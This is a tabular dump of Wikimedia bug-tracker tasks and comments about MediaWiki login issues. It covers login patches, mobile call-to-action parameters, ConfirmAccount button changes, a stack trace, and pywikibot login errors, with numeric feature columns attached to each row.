+270873,"Add patches for SpecialUserlogin.php for mw1.21, 1.23","Change 148409 merged by Legoktm:
+Core patch for 1.23.
+
+https://gerrit.wikimedia.org/r/148409",,,1406356911,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hzptlnsxlnjsex6uh2k5,task_subcomment,,True,c3,1,False,,,-49,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+270867,"Add patches for SpecialUserlogin.php for mw1.21, 1.23","Change 148409 had a related patch set uploaded by Jack Phoenix:
+Core patch for 1.23.
+
+https://gerrit.wikimedia.org/r/148409",,,1406048046,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hzptlnsxlnjsex6uh2k5,task_subcomment,,True,c3,1,False,,,-50,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+270863,"Add patches for SpecialUserlogin.php for mw1.21, 1.23","Still need 1.19, 1.22.",,,1384914204,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-hzptlnsxlnjsex6uh2k5,task_subcomment,,True,c3,1,True,,,-85,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+270859,"Add patches for SpecialUserlogin.php for mw1.21, 1.23","Change 87918 merged by Isarra:
+Add patch for 1.21.2
+
+https://gerrit.wikimedia.org/r/87918",,,1384914151,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hzptlnsxlnjsex6uh2k5,task_subcomment,,True,c3,1,False,,,-85,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+270854,"Add patches for SpecialUserlogin.php for mw1.21, 1.23","Change 87918 had a related patch set uploaded by Legoktm:
+Add patch for 1.21.2
+
+https://gerrit.wikimedia.org/r/87918",,,1384913873,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hzptlnsxlnjsex6uh2k5,task_subcomment,,True,c3,1,False,,,-85,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+57474,campaign parameter not passed in CTAs when user clicks login,"It only seems to be passed when you click sign up. What is stranger is if you inspect the URL of the login link it is there - it somehow gets stripped on click ing it.
+
+Expected:
+Whilst logged out click on edit button
+CTA shows with login and sign up buttons
+Click login
+Address bar URL has campaign=mobile_editPageActionCta in it
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1381255620,1381446243.0,PHID-USER-5dwuaigmkz2vzg65lape,False,,False,PHID-TASK-fqpx3hoskia4wpi3onwj,task_description,declined,True,c3,1,True,False,True,-91,True,0,0,0,1,0,1,1,0,0,1,1,0,0,1,0,0,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,1,0,0
+260715,campaign parameter not passed in CTAs when user clicks login,Cannot replicate any more. Odd.,,,1381446243,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-fqpx3hoskia4wpi3onwj,task_subcomment,,True,c3,1,True,,,-90,True,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0
+260712,campaign parameter not passed in CTAs when user clicks login,"**bingle-admin** wrote:
+
+Prioritization and scheduling of this bug is tracked on Mingle card https://wikimedia.mingle.thoughtworks.com/projects/mobile/cards/1295",,,1381255700,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-fqpx3hoskia4wpi3onwj,task_subcomment,,True,c3,1,False,,,-91,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+57468,"Update ""Create account"" / ""login"" buttons in ConfirmAccount","Hi please update login and create account buttons because the layout and look of them was changed in 1.20 when they separated them into create account and then login so please update the looks and the create account could be redirect to special request account. I am running Mediawiki 1.22 Wmf 20. I was told to file a bug here at https://www.mediawiki.org/wiki/Thread:Project:Support_desk/Create_account_/_login_in_extension:confirmaccount
+
+--------------------------
+**Version**: unspecified
+**Severity**: trivial
+**Whiteboard**: aklapper-moreinfo",Needs Triage,90.0,1381247520,1398183479.0,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,False,PHID-TASK-sf5vijvw3yef2xjc4qjj,task_description,declined,True,c3,1,True,False,True,-91,True,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0
+260291,"Update ""Create account"" / ""login"" buttons in ConfirmAccount","(In reply to paladox2015 from comment #9)
+> hi I am trying to use the uploader but I doint know how to use it I have a
+> mediawiki account but it says that it is not a unified diff patch
+
+Could you please use proper punctuation as it makes text way more readable?
+See https://en.wikipedia.org/wiki/Punctuation for the general concept.
+
+""man diff"" explains how to create a unified patch, and the stuff you uploaded here is not a patch, see https://en.wikipedia.org/wiki/Patch_%28Unix%29
+(Discussing this is out of scope for this specific bug report, and this bug report is closed anyway.)",,,1400427525,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-sf5vijvw3yef2xjc4qjj,task_subcomment,,True,c3,1,True,,,-59,True,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,0,1,1,0,1
+260284,"Update ""Create account"" / ""login"" buttons in ConfirmAccount","Created attachment 15429
+ingor the 1st patch this is the updated 1st patch
+
+**Attached**: {F12035}",,,1400414292,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-sf5vijvw3yef2xjc4qjj,task_subcomment,,True,c3,1,True,,,-59,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+260276,"Update ""Create account"" / ""login"" buttons in ConfirmAccount","Created attachment 15428
+2nd patch
+
+this is the 2nd patch read details for the files located
+
+**Attached**: {F12034}",,,1400414048,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-sf5vijvw3yef2xjc4qjj,task_subcomment,,True,c3,1,True,,,-59,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+260268,"Update ""Create account"" / ""login"" buttons in ConfirmAccount","Created attachment 15427
+this is the  first code change
+
+//attachment file_55468.txt ignored as obsolete//",,,1400413936,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-sf5vijvw3yef2xjc4qjj,task_subcomment,,True,c3,1,True,,,-59,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+260260,"Update ""Create account"" / ""login"" buttons in ConfirmAccount",hi I am trying to use the uploader but I doint know how to use it I have a mediawiki account but it says that it is not a unified diff patch,,,1400413837,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-sf5vijvw3yef2xjc4qjj,task_subcomment,,True,c3,1,True,,,-59,True,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+260253,"Update ""Create account"" / ""login"" buttons in ConfirmAccount",Ok thanks.,,,1400412095,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-sf5vijvw3yef2xjc4qjj,task_subcomment,,True,c3,1,True,,,-59,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+260250,"Update ""Create account"" / ""login"" buttons in ConfirmAccount","You are welcome to use Developer access
+  https://www.mediawiki.org/wiki/Developer_access
+to submit this as a patch (Git branch) directly into Gerrit:
+  https://www.mediawiki.org/wiki/Git/Tutorial
+
+Putting your branch in Git makes it easier to review it quickly. If you don't want to set up Git/Gerrit, you can also use https://tools.wmflabs.org/gerrit-patch-uploader/",,,1400337901,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-sf5vijvw3yef2xjc4qjj,task_subcomment,,True,c3,1,True,,,-59,True,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,1,0,0
+260245,"Update ""Create account"" / ""login"" buttons in ConfirmAccount","hi please add the following to this https://git.wikimedia.org/blob/mediawiki%2Fextensions%2FConfirmAccount/8371f282499d2f715a56ed18b6a9fa0b0e8e3e8b/frontend%2FConfirmAccountUI.hooks.php please
+
+the link is for request account and would be next to login 
+
+$wgHooks['PersonalUrls'][] = 'onPersonalUrls';
+
+
+function onPersonalUrls( array &$personal_urls, Title $title, SkinTemplate $skin  ) {
+    // Add a link to Special:RequestAccount if a link exists for login
+    if ( isset( $personal_urls['login'] ) || isset( $personal_urls['anonlogin'] ) ) {
+            $personal_urls['createaccount'] = array(
+                'text' => wfMessage( 'requestaccount' )->text(),
+                'href' => SpecialPage::getTitleFor( 'RequestAccount' )->getFullURL()
+            );
+    }
+    return true;
+}
+
+and please also change this code in that link it will change the name of link from login/create account to login 
+
+
+   public static function setRequestLoginLinks( array &$personal_urls, &$title ) {
+ 
+
+        if ( isset( $personal_urls['anonlogin'] ) ) {
+ 
+
+            $personal_urls['anonlogin']['text'] = wfMessage( 'login' )->escaped();
+ 
+
+        } elseif ( isset( $personal_urls['login'] ) ) {
+ 
+
+            $personal_urls['login']['text'] = wfMessage( 'login' )->escaped();
+ 
+
+        }
+ 
+
+        return true;
+ 
+
+    }",,,1400335533,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-sf5vijvw3yef2xjc4qjj,task_subcomment,,True,c3,1,True,,,-59,True,0,0,0,0,0,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,1
+260240,"Update ""Create account"" / ""login"" buttons in ConfirmAccount","(In reply to paladox2015 from comment #4)
+> Hi This is a feature request.
+
+Comment 1 had open requests. Anyway, this ticket is closed now anyway.",,,1398232755,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-sf5vijvw3yef2xjc4qjj,task_subcomment,,True,c3,1,True,,,-63,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1
+260235,"Update ""Create account"" / ""login"" buttons in ConfirmAccount",Hi This is a feature request.,,,1398183254,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-sf5vijvw3yef2xjc4qjj,task_subcomment,,True,c3,1,True,,,-63,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0
+260230,"Update ""Create account"" / ""login"" buttons in ConfirmAccount","Unfortunately closing this report as no further information has been provided.
+
+paladox2015: Please feel free to reopen this report if you can provide the information asked for in comment 1 and if this still happens. Thanks!",,,1398055417,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-sf5vijvw3yef2xjc4qjj,task_subcomment,,True,c3,1,True,,,-63,True,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+260225,"Update ""Create account"" / ""login"" buttons in ConfirmAccount",OK,,,1381518702,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-sf5vijvw3yef2xjc4qjj,task_subcomment,,True,c3,1,True,,,-90,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0
+260220,"Update ""Create account"" / ""login"" buttons in ConfirmAccount","Please stop setting ""blocker"" severity for all of your bug reports. The meaning of blocker is defined here: https://www.mediawiki.org/wiki/Bugzilla/Fields#importance . This is obviously not a blocker at all.
+
+For the bug report itself, please provide a screenshot which icons you refer to.",,,1381263990,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-sf5vijvw3yef2xjc4qjj,task_subcomment,,True,c3,1,True,,,-91,True,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,1,0,0,0,0,1,1,0,0,1,1,0,0,1,0,1,1,1,1,1,1,0,0,0
+57379,Watch CTA on UserLogin?,"2013-10-06 12:01:48 mw1053 enwiki: [7b14de3f] /w/index.php?title=Special:UserLogin&action=submitlogin&type=signup&returnto=Special:UserLogin&returntoquery=article_action%3Dwatch   Exception from line 109 of /usr/local/apache/common-local/php-1.22wmf19/includes/WikiPage.php: Invalid or virtual namespace -1 given.
+#0 /usr/local/apache/common-local/php-1.22wmf19/includes/actions/WatchAction.php(124): WikiPage::factory(Object(Title))
+#1 /usr/local/apache/common-local/php-1.22wmf19/extensions/MobileFrontend/includes/MobileFrontend.hooks.php(427): WatchAction::doWatch(Object(Title), Object(User))
+#2 (): MobileFrontendHooks::onUserLoginComplete(Object(User), '<!-- do CentralAuth redirect -->')
+#3 /usr/local/apache/common-local/php-1.22wmf19/includes/Hooks.php(199): call_user_func_array('MobileFrontendHooks::onUserLoginComplete', Array)
+#4 /usr/local/apache/common-local/php-1.22wmf19/includes/GlobalFunctions.php(3898): Hooks::run('UserLoginComplete', Array)
+#5 /usr/local/apache/common-local/php-1.22wmf19/includes/specials/SpecialUserlogin.php(926): wfRunHooks('UserLoginComplete', Array)
+#6 /usr/local/apache/common-local/php-1.22wmf19/includes/specials/SpecialUserlogin.php(313): LoginForm->successfulCreation()
+#7 /usr/local/apache/common-local/php-1.22wmf19/includes/specials/SpecialUserlogin.php(200): LoginForm->addNewAccount()
+#8 /usr/local/apache/common-local/php-1.22wmf19/extensions/MobileFrontend/includes/specials/SpecialMobileUserlogin.php(15): LoginForm->execute(NULL)
+#9 /usr/local/apache/common-local/php-1.22wmf19/includes/SpecialPage.php(631): SpecialMobileUserlogin->execute(NULL)
+#10 /usr/local/apache/common-local/php-1.22wmf19/includes/SpecialPageFactory.php(489): SpecialPage->run(NULL)
+#11 /usr/local/apache/common-local/php-1.22wmf19/includes/Wiki.php(291): SpecialPageFactory::executePath(Object(Title), Object(RequestContext))
+#12 /usr/local/apache/common-local/php-1.22wmf19/includes/Wiki.php(591): MediaWiki->performRequest()
+#13 /usr/local/apache/common-local/php-1.22wmf19/includes/Wiki.php(460): MediaWiki->main()
+#14 /usr/local/apache/common-local/php-1.22wmf19/index.php(55): MediaWiki->run()
+#15 /usr/local/apache/common-local/w/index.php(3): require('/usr/local/apache/common-local/php-1.22wmf19/index.php')
+#16 {main}
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1381089840,1381522464.0,PHID-USER-aasrweh54ew7py3agvg2,False,,False,PHID-TASK-cpvfvjugkz42a3j3tbvz,task_description,resolved,True,c3,1,True,False,True,-91,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1
+278496,Watch CTA on UserLogin?,https://gerrit.wikimedia.org/r/#/c/89108/ fixes this,,,1381522464,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-cpvfvjugkz42a3j3tbvz,task_subcomment,,True,c3,1,True,,,-90,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+278490,Watch CTA on UserLogin?,"**bingle-admin** wrote:
+
+Prioritization and scheduling of this bug is tracked on Mingle card https://wikimedia.mingle.thoughtworks.com/projects/mobile/cards/1291",,,1381089925,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-cpvfvjugkz42a3j3tbvz,task_subcomment,,True,c3,1,False,,,-91,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+57368,HTTPS opt-out does not work on de.wikipedia,"Although the ""Always use a secure connection when logged in"" check box is unchecked, de.wikipedia uses secure protocol for some users and also each explicit http page request is redirected to https.
+
+https://de.wikipedia.org/wiki/Wikipedia:FZW#Sichere_Anmeldung
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal",Needs Triage,90.0,1381071120,1381072702.0,PHID-USER-vvufz7opk2hhimdzyznx,False,,False,PHID-TASK-wrs444kj7qy2k3b5fxfh,task_description,resolved,True,c3,1,False,False,True,-91,True,1,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,1,1,1,0,0,0,0,0
+277717,HTTPS opt-out does not work on de.wikipedia,"
+
+%%%*** This bug has been marked as a duplicate of bug 54626 ***%%%",,,1381072702,,PHID-USER-jfiw563ca4r5mxfkj4vx,False,,,PHID-TASK-wrs444kj7qy2k3b5fxfh,task_subcomment,,True,c3,1,False,,,-91,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0
+57285,Login no longer available,"Originally from: http://sourceforge.net/p/pywikipediabot/bugs/1136/
+Reported by: Anonymous user
+Created on: 2010-03-09 13:34:43
+Subject: Login no longer available
+Original description:
+I get the following errors when using a known good user-config.py and family configurations for an SVN checkout of 2009-11-05. This is for a local wiki. 
+
+Using 2010-03-09, I get the following error on Ubuntu 9.04 \(Python 2.6.2\) and Ubuntu 8.04 \(Python 2.5.2\): 
+Logging into FamilyName:en as UserName via API
+
+Error downloading data: No JSON object could be decoded
+Request: en:/scriptpath/api.php?
+Retrying in 1 minutes.... \(I changed line 152 of query.py to retry\_idle\_time\*0.01 so I could see the dump without growing a beard first\)
+
+Dump output: 
+
+Error reported: No JSON object could be decoded
+127.0.0.1
+/hcrscript/api.php?
+
+\{""login"":\{""result"":""Success"",""lguserid"":3,""lgusername"":""UserName"",""lgtoken"":""2b448df9379b445c225c0a5c1d3af18b"",""cookieprefix"":""DatabaseName"",""sessionid"":""3dd4cc3dd33236b57da8234d2f73e6d3""\}\}
+
+on Ubuntu 9.04:
+
+python version.py
+Pywikipedia \[http\] trunk/pywikipedia \(r7983, 2010/03/09, 08:14:34\)
+Python 2.6.2 \(release26-maint, April 19, 2009, 01:56:41\) 
+\[GCC 4.3.3\]
+
+also broken on Ubuntu 8.04
+
+python version.py
+Pywikipedia \[http\] trunk/pywikipedia \(r7983, 2010/03/09, 08:14:34\)
+Python 2.5.2 \(r252:60911, Jul 22 2009, 15:35:03\) 
+\[GCC 4.2.4 \(Ubuntu 4.2.4-1ubuntu3\)\]
+
+
+But it seems to work fine on this system: 
+
+foreignhost:pywikipedia-2010-03-09 alex$ python version.py
+Pywikipedia \[http\] trunk/pywikipedia \(r7983, 2010/03/09, 08:14:34\)
+Python 2.5.2 \(r252:60911, Feb 22 2008, 07:57:53\) 
+\[GCC 4.0.1 \(Apple Computer, Inc. build 5363\)\]
+
+Any ideas what's happening?
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://sourceforge.net/p/pywikipediabot/bugs/1136",Needs Triage,90.0,1380949020,1387787351.0,PHID-USER-v7vgzvvcw7v2umf737ri,False,,False,PHID-TASK-6ezj4fmszkxkz2w6ijdo,task_description,declined,True,c3,1,True,False,True,-91,True,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,1,1,1,0,0,1,0,1,1,1,1,1,0,1,0,1,1,1,0,1,1,0,0,0,0,0,1,1,1,0,1,0,1,0,1,1,1,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,1,0,1
+273086,Login no longer available,I mark it as resolved/worksforme. Maybe it is outdated. Please feel free to reopen this bug if it is still valid with the current pwb release.,,,1387787351,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-6ezj4fmszkxkz2w6ijdo,task_subcomment,,True,c3,1,True,,,-80,True,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+273077,Login no longer available,Might be outdated.,,,1381757711,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-6ezj4fmszkxkz2w6ijdo,task_subcomment,,True,c3,1,True,,,-90,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+273070,Login no longer available,"&gt;&gt;&gt; json.\_\_author\_\_, json.\_\_name\_\_, json.\_\_version\_\_, json.\_\_package\_\_, json.\_\_path\_\_
+\('Bob Ippolito &lt;bob@redivi.com&gt;', 'json', '1.9', 'json', \['/usr/lib/python2.6/json'\]\)
+
+
+?
+
+Probably there is something wrong with the json libraries, but I wonder what...",,,1380949038,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-6ezj4fmszkxkz2w6ijdo,task_subcomment,,True,c3,1,True,,,-91,True,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,1,1,0,1,0,1,0,0,0,0,0,0
+57232,login.all always asks for password,"Originally from: http://sourceforge.net/p/pywikipediabot/bugs/1360/
+Reported by: nakor-wikipedia
+Created on: 2011-10-14 14:23:06
+Subject: login.all always asks for password
+Original description:
+When calling
+
+login.py -all -pass
+
+the script first asks for a password and then asks for password for every sinmgle wiki site:
+
+login.py -all  -pass
+Password for all accounts: 
+Password for user Almabot on mediawiki:mediawiki: 
+....
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://sourceforge.net/p/pywikipediabot/bugs/1360",Needs Triage,90.0,1380948420,1399300450.0,PHID-USER-v7vgzvvcw7v2umf737ri,False,,False,PHID-TASK-x4zx43o5jogulf5ohnll,task_description,invalid,True,c3,1,True,False,True,-91,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,1
